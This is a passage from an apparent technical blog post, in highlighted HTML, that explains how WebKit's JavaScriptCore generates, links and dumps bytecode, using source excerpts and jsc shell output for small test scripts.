</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>VirtualRegister, __size<span style="color:#f92672">&gt;::</span>convert(lhs));
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>VirtualRegister, __size<span style="color:#f92672">&gt;::</span>convert(rhs));
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span>OperandTypes, __size<span style="color:#f92672">&gt;::</span>convert(operandTypes));
</span></span><span style="display:flex;"><span>            gen<span style="color:#f92672">-&gt;</span>write(Fits<span style="color:#f92672">&lt;</span><span style="color:#66d9ef">unsigned</span>, __size<span style="color:#f92672">&gt;::</span>convert(__metadataID));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> true;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> false;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">void</span> dump(BytecodeDumperBase<span style="color:#f92672">*</span> dumper, InstructionStream<span style="color:#f92672">::</span>Offset __location, <span style="color:#66d9ef">int</span> __sizeShiftAmount)
</span></span><span style="display:flex;"><span>    {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">//... code truncated for brevity
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>
</span></span><span style="display:flex;"><span>    VirtualRegister m_dst;
</span></span><span style="display:flex;"><span>    VirtualRegister m_lhs;
</span></span><span style="display:flex;"><span>    VirtualRegister m_rhs;
</span></span><span style="display:flex;"><span>    OperandTypes m_operandTypes;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">unsigned</span> m_metadataID;
</span></span><span style="display:flex;"><span>};
</span></span></code></pre></div><p>The Domain Specific Language (DSL) used to define <code>BytecodeList.rb</code> can be found under <a href="https://github.com/WebKit/WebKit/tree/main/Source/JavaScriptCore/generator">JavaScriptCore/generator</a>.</p>
<p>In addition to function initialisers and emitting bytecode for the program node, <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L150"><code>generate</code></a> also emits bytecode for <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L224">exception handlers</a> and <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L247">try-catch</a> nodes.</p>
<p>Finally the call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecompiler/BytecodeGenerator.cpp#L286"><code>finalise</code></a> which completes the writing of instruction bytes as unlinked bytecode to the allocated codeblock.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>m_codeBlock<span style="color:#f92672">-&gt;</span>finalize(m_writer.finalize());
</span></span></code></pre></div><p>Returning back to our calling function, <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L645"><code>Interpreter::executeProgram</code></a>, after the unlinked codeblock has been generated, the bytecode can now be linked and executed. The unlinked bytecode is first encoded with a call to <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/interpreter/Interpreter.cpp#L818">prepareForExecution</a>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span>CodeBlock<span style="color:#f92672">*</span> tempCodeBlock;
</span></span><span style="display:flex;"><span>Exception<span style="color:#f92672">*</span> error <span style="color:#f92672">=</span> program<span style="color:#f92672">-&gt;</span>prepareForExecution<span style="color:#f92672">&lt;</span>ProgramExecutable<span style="color:#f92672">&gt;</span>(vm, <span style="color:#66d9ef">nullptr</span>, scope, CodeForCall, tempCodeBlock);
</span></span></code></pre></div><p>Through a series of function calls, prepareForExecution eventually ends up calling <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/CodeBlock.cpp#L379"><code>CodeBlock::finishCreation</code></a>. From the developer notes, this function is responsible for converting the unlinked bytecode to linked bytecode.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#75715e">// The main purpose of this function is to generate linked bytecode from unlinked bytecode. The process
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// of linking is taking an abstract representation of bytecode and tying it to a GlobalObject and scope
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// chain. For example, this process allows us to cache the depth of lexical environment reads that reach
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// outside of this CodeBlock&#39;s compilation unit. It also allows us to generate particular constants that
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// we can&#39;t generate during unlinked bytecode generation. This process is not allowed to generate control
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// flow or introduce new locals. The reason for this is we rely on liveness analysis to be the same for
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// all the CodeBlocks of an UnlinkedCodeBlock. We rely on this fact by caching the liveness analysis
</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// inside UnlinkedCodeBlock.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#66d9ef">bool</span> CodeBlock<span style="color:#f92672">::</span>finishCreation(VM<span style="color:#f92672">&amp;</span> vm, ScriptExecutable<span style="color:#f92672">*</span> ownerExecutable, UnlinkedCodeBlock<span style="color:#f92672">*</span> unlinkedCodeBlock,
</span></span><span style="display:flex;"><span>    JSScope<span style="color:#f92672">*</span> scope)
</span></span><span style="display:flex;"><span>{
</span></span></code></pre></div><p>The function <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecode/CodeBlock.cpp#L502">iterates over the unlinked instructions</a> in the codeblock and links them based on the opcode retrieved.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c++" data-lang="c++"><span style="display:flex;"><span><span style="color:#66d9ef">const</span> InstructionStream<span style="color:#f92672">&amp;</span> instructionStream <span style="color:#f92672">=</span> instructions();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">const</span> <span style="color:#66d9ef">auto</span><span style="color:#f92672">&amp;</span> instruction : instructionStream) {
</span></span><span style="display:flex;"><span>        OpcodeID opcodeID <span style="color:#f92672">=</span> instruction<span style="color:#f92672">-&gt;</span>opcodeID();
</span></span><span style="display:flex;"><span>        m_bytecodeCost <span style="color:#f92672">+=</span> opcodeLengths[opcodeID];
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">switch</span> (opcodeID) {
</span></span><span style="display:flex;"><span>        LINK(OpHasIndexedProperty)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        LINK(OpCallVarargs, profile)
</span></span><span style="display:flex;"><span>        LINK(OpTailCallVarargs, profile)
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">//... code truncated for brevity
</span></span></span></code></pre></div><p>The process of linking and updating the metadata table is described in the <a href="https://webkit.org/blog/9329/a-new-bytecode-format-for-javascriptcore/">webkit blog</a> on the new bytecode format. Adding the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/runtime/OptionsList.h#L110"><code>dumpGeneratedBytecodes</code></a> or the shortened version <code>-d</code> commandline option to the <code>jsc</code> shell allows dumping the generated bytecodes to stdout.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ cat test.js 
</span></span><span style="display:flex;"><span>let x <span style="color:#f92672">=</span> 10;
</span></span><span style="display:flex;"><span>let y <span style="color:#f92672">=</span> 20;
</span></span><span style="display:flex;"><span>let z <span style="color:#f92672">=</span> x + y;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>$ ./WebKitBuild/Debug/bin/jsc --dumpGeneratedBytecodes<span style="color:#f92672">=</span>true test.js
</span></span></code></pre></div><p>The bytecodes generated from parsing <em>test.js</em> are as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">AccRYt</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7fffee4bc000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7fffeeecb848</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">96</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">18</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">11</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">216</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">120</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">12</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">10</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">17</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span>(<span style="color:#a6e22e">const1</span>), <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">25</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">32</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">20</span>(<span style="color:#a6e22e">const2</span>), <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">40</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc7</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">47</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">54</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">62</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc9</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">65</span>] <span style="color:#a6e22e">resolve_scope</span>      <span style="color:#a6e22e">loc9</span>, <span style="color:#a6e22e">loc4</span>, <span style="color:#ae81ff">1</span>, <span style="color:#a6e22e">GlobalProperty</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">72</span>] <span style="color:#a6e22e">get_from_scope</span>     <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">loc9</span>, <span style="color:#ae81ff">1</span>, <span style="color:#ae81ff">2048</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">ThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotInitialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">80</span>] <span style="color:#a6e22e">add</span>                <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#a6e22e">loc10</span>, <span style="color:#a6e22e">OperandTypes</span>(<span style="color:#ae81ff">126</span>, <span style="color:#ae81ff">126</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">86</span>] <span style="color:#a6e22e">put_to_scope</span>       <span style="color:#a6e22e">loc7</span>, <span style="color:#ae81ff">2</span>, <span style="color:#a6e22e">loc8</span>, <span style="color:#ae81ff">1048576</span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">DoNotThrowIfNotFound</span><span style="color:#f92672">|</span><span style="color:#a6e22e">GlobalProperty</span><span style="color:#f92672">|</span><span style="color:#a6e22e">Initialization</span><span style="color:#f92672">|</span><span style="color:#a6e22e">NotStrictMode</span><span style="color:#f92672">&gt;</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">94</span>] <span style="color:#a6e22e">end</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Identifiers</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">x</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">y</span>
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">id2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">z</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k1</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">10</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k2</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Int32</span><span style="color:#f92672">:</span> <span style="color:#ae81ff">20</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">in</span> <span style="color:#a6e22e">source</span> <span style="color:#a6e22e">as</span> <span style="color:#a6e22e">integer</span>
</span></span></code></pre></div><h2 id="opcodes">Opcodes</h2>
<p>The previous section provided an explanation on how bytecode is generated and how one can go about tracing the bytecode emission process in a debugger. It also introduced at a handy commandline flag that allows dumping generated bytecode to stdout. This section discusses how to read and understand the dumped bytecode.</p>
<p>Every program has a prologue and epilogue bytecode that the generator emits. This can test this by creating an empty javascript file and passing it to the <code>jsc</code> shell. The resulting bytecodes are as follows:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">$</span> <span style="color:#a6e22e">touch</span> <span style="color:#a6e22e">empty</span>.<span style="color:#a6e22e">js</span> <span style="color:#f92672">&amp;&amp;</span> .<span style="color:#f92672">/</span><span style="color:#a6e22e">jsc</span> <span style="color:#f92672">-</span><span style="color:#a6e22e">d</span> <span style="color:#a6e22e">empty</span>.<span style="color:#a6e22e">js</span> 
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">EW7Aoi</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7f42d2bc4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7f43135cb768</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">12</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">12</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">0</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">10</span>] <span style="color:#a6e22e">end</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Constants</span><span style="color:#f92672">:</span>
</span></span><span style="display:flex;"><span>   <span style="color:#a6e22e">k0</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">Undefined</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">End</span><span style="color:#f92672">:</span> <span style="color:#66d9ef">undefined</span>
</span></span></code></pre></div><p>The first line of the output contains information about the codeblock. The dumper function <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/CodeBlock.cpp#L170"><code>CodeBlock::dumpAssumingJITType</code></a> prints details about the CodeBlock associated with the generated bytecode:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#f92672">&lt;</span><span style="color:#a6e22e">global</span><span style="color:#f92672">&gt;</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#a6e22e">EW7Aoi</span><span style="color:#f92672">:</span>[<span style="color:#ae81ff">0x7f42d2bc4000</span><span style="color:#f92672">-&gt;</span><span style="color:#ae81ff">0x7f43135cb768</span>, <span style="color:#a6e22e">NoneGlobal</span>, <span style="color:#ae81ff">12</span>]<span style="color:#f92672">:</span> <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">instructions</span> (<span style="color:#ae81ff">0</span> <span style="color:#ae81ff">16</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#ae81ff">32</span><span style="color:#f92672">-</span><span style="color:#a6e22e">bit</span> <span style="color:#a6e22e">instructions</span>, <span style="color:#ae81ff">0</span> <span style="color:#a6e22e">instructions</span> <span style="color:#66d9ef">with</span> <span style="color:#a6e22e">metadata</span>); <span style="color:#ae81ff">12</span> <span style="color:#a6e22e">bytes</span> (<span style="color:#ae81ff">0</span> <span style="color:#a6e22e">metadata</span> <span style="color:#a6e22e">bytes</span>); <span style="color:#ae81ff">1</span> <span style="color:#a6e22e">parameter</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">8</span> <span style="color:#a6e22e">callee</span> <span style="color:#a6e22e">register</span>(<span style="color:#a6e22e">s</span>); <span style="color:#ae81ff">6</span> <span style="color:#a6e22e">variable</span>(<span style="color:#a6e22e">s</span>); <span style="color:#a6e22e">scope</span> <span style="color:#a6e22e">at</span> <span style="color:#a6e22e">loc4</span>
</span></span></code></pre></div><p><code>&lt;global&gt;</code> here is the <a href="https://github.com/WebKit/WebKit/blob/main/Source/JavaScriptCore/bytecode/CodeBlock.cpp#L104">codeType</a> which in this case refers to the global program. Bytecode for user-defined functions would have the function name instead of <code>&lt;global&gt;</code>. <code>#EW7Aoi</code> is the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/CodeBlockHash.cpp#L40">hash of the source code string</a> that the codeblock was created for. The two memory address that follow (i.e. <code>0x7f42d2bc4000</code> and <code>0x7f43135cb768</code>) represent the target and target offset for the executable. <code>None</code> describes the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/jit/JITCode.h#L54">JITType</a> and <code>Global</code> the <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/CodeType.h#L30">codeType</a>. The number <code>12</code> represents the number of instructions in the codeblock. The remaining part of the header, prints statistics about the generated bytecode, such as number of instructions, parameters, callee registers, variables and lastly the location to the scope register.</p>
<p>What follows the header is a <a href="https://github.com/WebKit/WebKit/blob/b7e84a4224b3934868bc08f5c89b583355a6c87a/Source/JavaScriptCore/bytecode/BytecodeDumper.cpp#L280">dump of the bytecode graph</a>. This is essentially a for-loop that iterates over the basic blocks in the graph and prints out the instructions in the basic block.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span><span style="color:#a6e22e">bb</span><span style="color:#960050;background-color:#1e0010">#</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">0</span>] <span style="color:#a6e22e">enter</span>              
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">1</span>] <span style="color:#a6e22e">get_scope</span>          <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">6</span>] <span style="color:#a6e22e">check_traps</span>        
</span></span><span style="display:flex;"><span>[   <span style="color:#ae81ff">7</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc6</span>, <span style="color:#a6e22e">Undefined</span>(<span style="color:#a6e22e">const0</span>)
</span></span><span style="display:flex;"><span>[  <span style="color:#ae81ff">10</span>] <span style="color:#a6e22e">end</span>                <span style="color:#a6e22e">loc6</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Successors</span><span style="color:#f92672">:</span> [ ]
</span></span></code></pre></div><p>In the snippet above, <code>bb#</code> identifies the basic block in the graph. The first column represents the offset of the instruction in the instruction stream. The next column lists the various opcodes and the last column the operands passed to the opcode. Take the following snippet of the <code>mov</code> opcode:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-js" data-lang="js"><span style="display:flex;"><span>[   <span style="color:#ae81ff">3</span>] <span style="color:#a6e22e">mov</span>                <span style="color:#a6e22e">loc5</span>, <span style="color:#a6e22e">loc4</span>
